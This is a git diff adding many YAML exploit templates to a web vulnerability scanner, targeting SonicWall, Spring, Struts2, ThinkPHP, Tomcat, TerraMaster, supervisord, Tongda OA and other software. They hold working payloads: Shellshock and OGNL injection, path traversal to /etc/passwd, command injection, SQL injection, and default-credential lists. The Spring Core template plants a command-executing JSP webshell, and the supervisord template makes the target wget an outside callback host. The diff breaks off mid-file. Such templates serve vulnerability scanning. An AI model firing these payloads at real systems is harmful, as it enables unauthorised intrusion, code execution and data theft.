b/webscan/pocs/sonicwall-ssl-vpn-rce.yml new file mode 100644 index 0000000..4b00104 --- /dev/null +++ b/webscan/pocs/sonicwall-ssl-vpn-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-sonicwall-ssl-vpn-rce +set: + r1: randomInt(40000, 44800) + r2: randomInt(1140000, 1144800) +rules: + - method: GET + path: /cgi-bin/jarrewrite.sh + follow_redirects: false + headers: + X-Test: () { :; }; echo ; /bin/bash -c 'expr {{r1}} - {{r2}}' + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) +detail: + author: sharecast + links: + - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ diff --git a/webscan/pocs/spark-api-unauth.yml b/webscan/pocs/spark-api-unauth.yml new file mode 100644 index 0000000..0f155e8 --- /dev/null +++ b/webscan/pocs/spark-api-unauth.yml @@ -0,0 +1,10 @@ +name: poc-yaml-spark-api-unauth +rules: + - method: GET + path: /v1/submissions + expression: | + response.status == 400 && response.body.bcontains(b"Missing an action") && response.body.bcontains(b"serverSparkVersion") +detail: + author: betta(https://github.com/betta-cyber) + links: + - https://xz.aliyun.com/t/2490 diff --git a/webscan/pocs/spark-webui-unauth.yml b/webscan/pocs/spark-webui-unauth.yml new file mode 100644 index 0000000..4977dae --- /dev/null +++ b/webscan/pocs/spark-webui-unauth.yml @@ -0,0 +1,8 @@ +name: poc-yaml-spark-webui-unauth +rules: + - method: GET + path: / + expression: response.status == 200 && response.body.bcontains(b"Spark") && response.body.bcontains(b"<strong>URL:</strong> spark:") +detail: + links: + - https://github.com/vulhub/vulhub/tree/master/spark/unacc \ No newline at end of file diff --git a/webscan/pocs/spon-ip-intercom-ping-rce.yml b/webscan/pocs/spon-ip-intercom-ping-rce.yml new file mode 100644 index 0000000..9fe0a84 --- /dev/null +++ b/webscan/pocs/spon-ip-intercom-ping-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-spon-ip-intercom-ping-rce +set: + r1: randomLowercase(10) + r2: randomLowercase(10) + r3: randomLowercase(10) + r4: randomLowercase(10) +rules: + - method: POST + path: /php/ping.php + headers: + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + body: | + jsondata[ip]=%7C echo {{r1}}${{{r2}}}{{r3}}^{{r4}}&jsondata[type]=0 + expression: response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) + +detail: + author: york + links: + - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247486018&idx=1&sn=d744907475a4ea9ebeb26338c735e3e9 diff --git a/webscan/pocs/spring-actuator-heapdump-file.yml b/webscan/pocs/spring-actuator-heapdump-file.yml new file mode 100644 index 0000000..db481ae --- /dev/null +++ b/webscan/pocs/spring-actuator-heapdump-file.yml @@ -0,0 +1,12 @@ +name: poc-yaml-spring-actuator-heapdump-file +rules: + - method: HEAD + path: /actuator/heapdump + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("application/octet-stream") +detail: + author: AgeloVito + info: spring-actuator-heapdump-file + links: + - https://www.cnblogs.com/wyb628/p/8567610.html diff --git a/webscan/pocs/spring-cloud-cve-2020-5405.yml b/webscan/pocs/spring-cloud-cve-2020-5405.yml new file mode 100644 index 0000000..f11a403 --- /dev/null +++ b/webscan/pocs/spring-cloud-cve-2020-5405.yml @@ -0,0 +1,15 @@ +name: poc-yaml-spring-cloud-cve-2020-5405 +rules: + - method: GET + path: >- + /a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/resolv.conf + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes("This file is managed by man:systemd-resolved(8). Do not edit.")) + +detail: + version: <= 2.1.6, 2.2.1 + author: kingkk(https://www.kingkk.com/) + links: + - https://pivotal.io/security/cve-2020-5405 + - https://github.com/spring-cloud/spring-cloud-config \ No newline at end of file diff --git a/webscan/pocs/spring-cloud-cve-2020-5410.yml b/webscan/pocs/spring-cloud-cve-2020-5410.yml new file mode 100644 index 0000000..026b337 --- /dev/null +++ b/webscan/pocs/spring-cloud-cve-2020-5410.yml @@ -0,0 +1,12 @@ +name: poc-yaml-spring-cloud-cve-2020-5410 +rules: + - method: GET + path: >- + /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: Soveless(https://github.com/Soveless) + Affected Version: "Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9" + links: + - https://xz.aliyun.com/t/7877 \ No newline at end of file diff --git a/webscan/pocs/spring-core-rce.yml b/webscan/pocs/spring-core-rce.yml new file mode 100644 index 0000000..b7ad80d --- /dev/null +++ b/webscan/pocs/spring-core-rce.yml @@ -0,0 +1,27 @@ +name: poc-yaml-spring-core-rce +manual: true +transport: http +set: + r1: randomInt(40000, 44800) +rules: + - method: POST + path: / + headers: + suffix: "%>//" + c1: "Runtime" + c2: "<%" + DNT: "1" + Content-Type: "application/x-www-form-urlencoded" + body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /tomcatwar.jsp?data=j&word=echo%20{r1} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1))) +detail: + author: marmot + links: + - https://github.com/Mr-xn/spring-core-rce diff --git a/webscan/pocs/spring-cve-2016-4977.yml b/webscan/pocs/spring-cve-2016-4977.yml new file mode 100644 index 0000000..5df7d07 --- /dev/null +++ b/webscan/pocs/spring-cve-2016-4977.yml @@ -0,0 +1,15 @@ +name: poc-yaml-spring-cve-2016-4977 +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: GET + path: /oauth/authorize?response_type=${{{r1}}*{{r2}}}&client_id=acme&scope=openid&redirect_uri=http://test + follow_redirects: false + expression: > + response.body.bcontains(bytes(string(r1 * r2))) +detail: + Affected Version: "spring(2.0.0-2.0.9 1.0.0-1.0.5)" + author: hanxiansheng26(https://github.com/hanxiansheng26) + links: + - https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977 diff --git a/webscan/pocs/springboot-cve-2021-21234.yml b/webscan/pocs/springboot-cve-2021-21234.yml new file mode 100644 index 0000000..d10f5fa --- /dev/null +++ b/webscan/pocs/springboot-cve-2021-21234.yml @@ -0,0 +1,22 @@ +name: poc-yaml-springboot-cve-2021-21234 +groups: + spring1: + - method: GET + path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") && !response.body.bcontains(b"<html") + spring2: + - method: GET + path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") && !response.body.bcontains(b"<html") + spring3: + - method: GET + path: /manage/log/view?filename=/etc/hosts&base=../../../../../../../../../../ + expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") && !response.body.bcontains(b"<html") + spring4: + - method: GET + path: /log/view?filename=/etc/hosts&base=../../../../../../../../../../ + expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") && !response.body.bcontains(b"<html") +detail: + author: iak3ec(https://github.com/nu0l) + links: + - https://mp.weixin.qq.com/s/ZwhBEz2ek26Zf3F-csoRgQ diff --git a/webscan/pocs/springboot-env-unauth.yml b/webscan/pocs/springboot-env-unauth.yml new file mode 100644 index 0000000..582ee48 --- /dev/null +++ b/webscan/pocs/springboot-env-unauth.yml @@ -0,0 +1,15 @@ +name: poc-yaml-springboot-env-unauth +groups: + spring1: + - method: GET + path: /env + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") + spring2: + - method: GET + path: /actuator/env + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") +detail: + links: + - https://github.com/LandGrey/SpringBootVulExploit diff --git a/webscan/pocs/springcloud-cve-2019-3799.yml b/webscan/pocs/springcloud-cve-2019-3799.yml new file mode 100644 index 0000000..821028f --- /dev/null +++ b/webscan/pocs/springcloud-cve-2019-3799.yml @@ -0,0 +1,14 @@ +name: poc-yaml-springcloud-cve-2019-3799 +rules: + - method: GET + path: >- + /test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd + follow_redirects: true + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + +detail: + version: <2.1.2, 2.0.4, 1.4.6 + author: Loneyer + links: + - https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799 diff --git a/webscan/pocs/sql-file.yml b/webscan/pocs/sql-file.yml new file mode 100644 index 0000000..ba43906 --- /dev/null +++ b/webscan/pocs/sql-file.yml @@ -0,0 +1,32 @@ +name: poc-yaml-sql-file +set: + host: request.url.domain +sets: + path: + - "1.sql" + - "backup.sql" + - "database.sql" + - "data.sql" + - "db_backup.sql" + - "dbdump.sql" + - "db.sql" + - "dump.sql" + - "{{host}}.sql" + - "{{host}}_db.sql" + - "localhost.sql" + - "mysqldump.sql" + - "mysql.sql" + - "site.sql" + - "sql.sql" + - "temp.sql" + - "translate.sql" + - "users.sql" +rules: + - method: GET + path: /{{path}} + follow_redirects: false + continue: true + expression: | + "(?m)(?:DROP|CREATE|(?:UN)?LOCK) TABLE|INSERT INTO".bmatches(response.body) +detail: + author: shadown1ng(https://github.com/shadown1ng) diff --git a/webscan/pocs/struts2-045.yml b/webscan/pocs/struts2-045.yml new file mode 100644 index 0000000..d99496d --- /dev/null +++ b/webscan/pocs/struts2-045.yml @@ -0,0 +1,24 @@ +name: poc-yaml-struts2_045 +set: + r1: randomInt(800, 1000) + r2: randomInt(800, 1000) +groups: + poc1: + - method: GET + path: / + headers: + Content-Type: ${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("Keyvalue",{{r1}}*{{r2}})}.multipart/form-data + follow_redirects: true + expression: | + "Keyvalue" in response.headers && response.headers["Keyvalue"].contains(string(r1 * r2)) + poc2: + - method: GET + path: / + headers: + Content-Type: "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}" + follow_redirects: true + expression: | + response.body.bcontains(b"struts2_security_check") +detail: + author: shadown1ng(https://github.com/shadown1ng) + diff --git a/webscan/pocs/struts2-046-1.yml b/webscan/pocs/struts2-046-1.yml new file mode 100644 index 0000000..f0ec629 --- /dev/null +++ b/webscan/pocs/struts2-046-1.yml @@ -0,0 +1,16 @@ +name: poc-yaml-struts2_046-1 +set: + r1: b"-----------------------------\r\nContent-Disposition:\x20form-data;\x20name=\"test\";\x20filename=\"%{(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType(\'text/html;charset=UTF-8\')).(#res.getWriter().print(\'struts2_security_\')).(#res.getWriter().print(\'check\')).(#res.getWriter().flush()).(#res.getWriter().close())}\x00b\"\r\nContent-Type:\x20text/plain\r\n\r\n\r\n-----------------------------" +rules: + - method: POST + path: / + headers: + Content-Type: multipart/form-data; boundary=--------------------------- + follow_redirects: true + body: | + {{r1}} + expression: | + response.body.bcontains(b"struts2_security_check") +detail: + author: shadown1ng(https://github.com/shadown1ng) + diff --git a/webscan/pocs/supervisord-cve-2017-11610.yml b/webscan/pocs/supervisord-cve-2017-11610.yml new file mode 100644 index 0000000..3fa053d --- /dev/null +++ b/webscan/pocs/supervisord-cve-2017-11610.yml @@ -0,0 +1,24 @@ +name: poc-yaml-supervisord-cve-2017-11610 +set: + reverse: newReverse() + reverseURL: reverse.url +rules: + - method: POST + path: /RPC2 + body: >- + <?xml version="1.0"?> + <methodCall> + <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> + <params> + <param> + <string>wget {{reverseURL}}</string> + </param> + </params> + </methodCall> + follow_redirects: false + expression: | + response.status == 200 && reverse.wait(5) +detail: + author: Loneyer + links: + - https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610 diff --git a/webscan/pocs/swagger-ui-unauth.yml b/webscan/pocs/swagger-ui-unauth.yml new file mode 100644 index 0000000..42826ae --- /dev/null +++ b/webscan/pocs/swagger-ui-unauth.yml @@ -0,0 +1,30 @@ +name: poc-yaml-swagger-ui-unauth +sets: + path: + - swagger/ui/index + - swagger-ui.html + - api/swagger-ui.html + - service/swagger-ui.html + - web/swagger-ui.html + - swagger/swagger-ui.html + - actuator/swagger-ui.html + - libs/swagger-ui.html + - template/swagger-ui.html + - api_docs + - api/docs/ + - api/index.html + - swagger/v1/swagger.yaml + - swagger/v1/swagger.json + - swagger.yaml + - swagger.json + - api-docs/swagger.yaml + - api-docs/swagger.json +rules: + - method: GET + path: /{{path}} + expression: | + response.status == 200 && (response.body.bcontains(b"Swagger UI") || response.body.bcontains(b"swagger-ui.min.js")|| response.body.bcontains(b'swagger:') || response.body.bcontains(b'swagger:') || response.body.bcontains(b'Swagger 2.0') || response.body.bcontains(b"\"swagger\":") ) +detail: + author: AgeloVito + links: + - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/webscan/pocs/tamronos-iptv-rce.yml b/webscan/pocs/tamronos-iptv-rce.yml new file mode 100644 index 0000000..0b54f5e --- /dev/null +++ b/webscan/pocs/tamronos-iptv-rce.yml @@ -0,0 +1,15 @@ +name: poc-yaml-tamronos-iptv-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /api/ping?count=5&host=;echo%20$(expr%20{{r1}}%20%2b%20{{r2}}):{{r1}}:{{r1}};&port=80&source=1.1.1.1&type=icmp + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Print1n + description: TamronOS IPTV系统存在前台命令执行漏洞 + links: + - https://print1n.top/post/Other/TamronOS_IPTV%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E5%89%8D%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E diff --git a/webscan/pocs/telecom-gateway-default-password.yml b/webscan/pocs/telecom-gateway-default-password.yml new file mode 100644 index 0000000..80f43ac --- /dev/null +++ b/webscan/pocs/telecom-gateway-default-password.yml @@ -0,0 +1,17 @@ +name: poc-yaml-telecom-gateway-default-password +rules: + - method: GET + path: /manager/index.php + follow_redirects: false + expression: | + response.status == 200 + - method: POST + path: /manager/login.php + body: Name=admin&Pass=admin + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"<title>电信网关服务器管理后台") && response.body.bcontains(b"index-shang.php") && response.body.bcontains(b"di.php") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E7%94%B5%E4%BF%A1/%E7%94%B5%E4%BF%A1%E7%BD%91%E5%85%B3%E9%85%8D%E7%BD%AE%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md diff --git a/webscan/pocs/tensorboard-unauth.yml b/webscan/pocs/tensorboard-unauth.yml new file mode 100644 index 0000000..74297ad --- /dev/null +++ b/webscan/pocs/tensorboard-unauth.yml @@ -0,0 +1,16 @@ +name: poc-yaml-tensorboard-unauth +rules: + - method: GET + path: / + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(b"The TensorFlow Authors. All Rights Reserved.") + - method: GET + path: '/data/plugins_listing' + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"profile") && response.body.bcontains(b"distributions") +detail: + author: p0wd3r + links: + - https://www.tensorflow.org/guide/summaries_and_tensorboard?hl=zh-CN diff --git a/webscan/pocs/terramaster-cve-2020-15568.yml b/webscan/pocs/terramaster-cve-2020-15568.yml new file mode 100644 index 0000000..d855704 --- /dev/null +++ b/webscan/pocs/terramaster-cve-2020-15568.yml @@ -0,0 +1,20 @@ +name: poc-yaml-terramaster-cve-2020-15568 +set: + r1: randomLowercase(10) + r2: randomInt(800000000, 1000000000) + r3: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /include/exportUser.php?type=3&cla=application&func=_exec&opt=(expr%20{{r2}}%20%2B%20{{r3}})%3E{{r1}} + follow_redirects: false + expression: | + response.status == 200 + - method: GET + path: /include/{{r1}} + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r2 + r3))) +detail: + author: albertchang + Affected Version: "TOS version 4.1.24 and below" + links: + - https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/ diff --git a/webscan/pocs/terramaster-tos-rce-cve-2020-28188.yml b/webscan/pocs/terramaster-tos-rce-cve-2020-28188.yml new file mode 100644 index 0000000..b8ec0cb --- /dev/null +++ b/webscan/pocs/terramaster-tos-rce-cve-2020-28188.yml @@ -0,0 +1,18 @@ +name: poc-yaml-terramaster-tos-rce-cve-2020-28188 +set: + r1: randomLowercase(10) +rules: + - method: GET + path: /include/makecvs.php?Event=http|echo%20""%20>>%20/usr/www/{{r1}}.php%20&&%20chmod%20755%20/usr/www/{{r1}}.php|| + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/csv") && response.body.bcontains(bytes("Service,DateTime")) + - method: GET + path: /{{r1}}.php + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r1))) +detail: + author: Print1n + links: + - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202012-1548 diff --git a/webscan/pocs/thinkadmin-v6-readfile.yml b/webscan/pocs/thinkadmin-v6-readfile.yml new file mode 100644 index 0000000..37755bf --- /dev/null +++ b/webscan/pocs/thinkadmin-v6-readfile.yml @@ -0,0 +1,13 @@ +name: poc-yaml-thinkadmin-v6-readfile +rules: + - method: GET + path: /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34 + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes("PD9waH")) && response.body.bcontains(bytes("VGhpbmtBZG1pbg")) +detail: + author: 0x_zmz(github.com/0x-zmz) + info: thinkadmin-v6-readfile By 0x_zmz + links: + - https://mp.weixin.qq.com/s/3t7r7FCirDEAsXcf2QMomw + - https://github.com/0x-zmz diff --git a/webscan/pocs/thinkcmf-lfi.yml b/webscan/pocs/thinkcmf-lfi.yml new file mode 100644 index 0000000..3b56650 --- /dev/null +++ b/webscan/pocs/thinkcmf-lfi.yml @@ -0,0 +1,13 @@ +name: poc-yaml-thinkcmf-lfi + +rules: + - method: GET + path: "/?a=display&templateFile=README.md" + expression: | + response.status == 200 && response.body.bcontains(bytes(string(b"ThinkCMF"))) && response.body.bcontains(bytes(string(b"## README"))) + +detail: + author: JerryKing + ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2 + links: + - https://www.freebuf.com/vuls/217586.html diff --git a/webscan/pocs/thinkcmf-write-shell.yml b/webscan/pocs/thinkcmf-write-shell.yml new file mode 100644 index 0000000..5527f44 --- /dev/null +++ b/webscan/pocs/thinkcmf-write-shell.yml @@ -0,0 +1,18 @@ +name: poc-yaml-thinkcmf-write-shell +set: + r: randomInt(10000, 20000) + r1: randomInt(1000000000, 2000000000) +rules: + - method: GET + path: "/index.php?a=fetch&content=%3C?php+file_put_contents(%22{{r}}.php%22,%22%3C?php+echo+{{r1}}%3B%22)%3B" + expression: "true" + - method: GET + path: "/{{r}}.php" + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1))) + +detail: + author: violin + ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2 + links: + - https://www.freebuf.com/vuls/217586.html diff --git a/webscan/pocs/thinkphp-v6-file-write.yml b/webscan/pocs/thinkphp-v6-file-write.yml new file mode 100644 index 0000000..8346f40 --- /dev/null +++ b/webscan/pocs/thinkphp-v6-file-write.yml @@ -0,0 +1,26 @@ +name: poc-yaml-thinkphp-v6-file-write +set: + f1: randomInt(800000000, 900000000) +rules: + - method: GET + path: /{{f1}}.php + follow_redirects: true + expression: | + response.status == 404 + - method: GET + path: / + headers: + Cookie: PHPSESSID=../../../../public/{{f1}}.php + follow_redirects: true + expression: | + response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].contains(string(f1)) + - method: GET + path: /{{f1}}.php + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("text/html") +detail: + author: Loneyer + Affected Version: "Thinkphp 6.0.0" + links: + - https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write diff --git a/webscan/pocs/thinkphp5-controller-rce.yml b/webscan/pocs/thinkphp5-controller-rce.yml new file mode 100644 index 0000000..c0ddd62 --- /dev/null +++ b/webscan/pocs/thinkphp5-controller-rce.yml @@ -0,0 +1,10 @@ +name: poc-yaml-thinkphp5-controller-rce +rules: + - method: GET + path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91 + expression: | + response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129") + +detail: + links: + - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce \ No newline at end of file diff --git a/webscan/pocs/thinkphp5023-method-rce.yml b/webscan/pocs/thinkphp5023-method-rce.yml new file mode 100644 index 0000000..a573fa2 --- /dev/null +++ b/webscan/pocs/thinkphp5023-method-rce.yml @@ -0,0 +1,24 @@ +name: poc-yaml-thinkphp5023-method-rce +groups: + poc1: + - method: POST + path: /index.php?s=captcha + headers: + Content-Type: application/x-www-form-urlencoded + body: | + _method=__construct&filter[]=printf&method=GET&get[]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu + expression: | + response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu") + poc2: + - method: POST + path: /index.php?s=captcha + headers: + Content-Type: application/x-www-form-urlencoded + body: | + _method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1 + expression: | + response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1") + +detail: + links: + - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce diff --git a/webscan/pocs/tianqing-info-leak.yml b/webscan/pocs/tianqing-info-leak.yml new file mode 100644 index 0000000..68f5c0a --- /dev/null +++ b/webscan/pocs/tianqing-info-leak.yml @@ -0,0 +1,9 @@ +name: poc-yaml-tianqing-info-leak +rules: + - method: GET + path: /api/dbstat/gettablessize + expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"schema_name") && response.body.bcontains(b"table_name") +detail: + author: jingling(https://github.com/shmilylty) + links: + - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g diff --git a/webscan/pocs/tomcat-cve-2017-12615-rce.yml b/webscan/pocs/tomcat-cve-2017-12615-rce.yml new file mode 100644 index 0000000..dc1fdf7 --- /dev/null +++ b/webscan/pocs/tomcat-cve-2017-12615-rce.yml @@ -0,0 +1,22 @@ +name: poc-yaml-tomcat-cve-2017-12615-rce +set: + filename: randomLowercase(6) + verifyStr: randomLowercase(12) + commentStr: randomLowercase(12) +rules: + - method: PUT + path: '/{{filename}}.jsp/' + body: '{{verifyStr}} <%-- {{commentStr}} --%>' + follow_redirects: false + expression: | + response.status == 201 + - method: GET + path: '/{{filename}}.jsp' + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(verifyStr)) && !response.body.bcontains(bytes(commentStr)) +detail: + author: j4ckzh0u(https://github.com/j4ckzh0u) + links: + - https://www.seebug.org/vuldb/ssvid-96562 + - https://mp.weixin.qq.com/s/sulJSg0Ru138oASiI5cYAA diff --git a/webscan/pocs/tomcat-cve-2018-11759.yml b/webscan/pocs/tomcat-cve-2018-11759.yml new file mode 100644 index 0000000..7ab73aa --- /dev/null +++ b/webscan/pocs/tomcat-cve-2018-11759.yml @@ -0,0 +1,16 @@ +name: poc-yaml-tomcat-cve-2018-11759 +rules: + - method: GET + path: /jkstatus; + follow_redirects: false + expression: | + response.status == 200 && "JK Status Manager".bmatches(response.body) && "Listing Load Balancing Worker".bmatches(response.body) + - method: GET + path: /jkstatus;?cmd=dump + follow_redirects: false + expression: | + response.status == 200 && "ServerRoot=*".bmatches(response.body) +detail: + author: loneyer + links: + - https://github.com/immunIT/CVE-2018-11759 diff --git a/webscan/pocs/tomcat-manager-weak.yml b/webscan/pocs/tomcat-manager-weak.yml new file mode 100644 index 0000000..b9abb18 --- /dev/null +++ b/webscan/pocs/tomcat-manager-weak.yml @@ -0,0 +1,31 @@ +name: poc-yaml-tomcat-manager-weak +sets: + username: + - tomcat + - admin + - root + - manager + password: + - tomcat + - "" + - admin + - 123456 + - root + payload: + - base64(username+":"+password) +rules: + - method: GET + path: /manager/html + follow_redirects: false + expression: | + response.status == 401 && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager") + - method: GET + path: /manager/html + headers: + Authorization: Basic {{payload}} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager") +detail: + author: shadown1ng(https://github.com/shadown1ng) + diff --git a/webscan/pocs/tongda-insert-sql-inject.yml b/webscan/pocs/tongda-insert-sql-inject.yml new file mode 100644 index 0000000..fc7a2c0 --- /dev/null +++ b/webscan/pocs/tongda-insert-sql-inject.yml @@ -0,0 +1,21 @@ +name: tongda-insert-sql-inject +rules: + - method: POST + path: /general/document/index.php/recv/register/insert + body: | + title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER= + expression: response.status == 302 && response.headers["set-cookie"].contains("PHPSESSID=") + - method: POST + path: /general/document/index.php/recv/register/insert + body: | + title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER= + expression: response.status != 502 && response.status != 500 +detail: + author: zan8in + description: | + 通达OA v11.6 insert参数包含SQL注入漏洞,攻击者通过漏洞可获取数据库敏感信息 + app="TDXK-通达OA" + 发送请求包判断漏洞 /general/document/index.php/recv/register/insert 返回302则是存在漏洞,返回500则不存在 + links: + - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html + - https://blog.csdn.net/weixin_39779975/article/details/111091529 diff --git a/webscan/pocs/tongda-meeting-unauthorized-access.yml b/webscan/pocs/tongda-meeting-unauthorized-access.yml new file mode 100644 index 0000000..c95a9e3 --- /dev/null +++ b/webscan/pocs/tongda-meeting-unauthorized-access.yml @@ -0,0 +1,13 @@ +name: poc-yaml-tongda-meeting-unauthorized-access +rules: + - method: GET + path: >- + /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string("creator"))) && response.body.bcontains(bytes(string("originalTitle"))) +detail: + author: 清风明月(www.secbook.info) + influence_version: ' < 通达OA 11.5' + links: + - https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA diff --git a/webscan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml b/webscan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml new file mode 100644 index 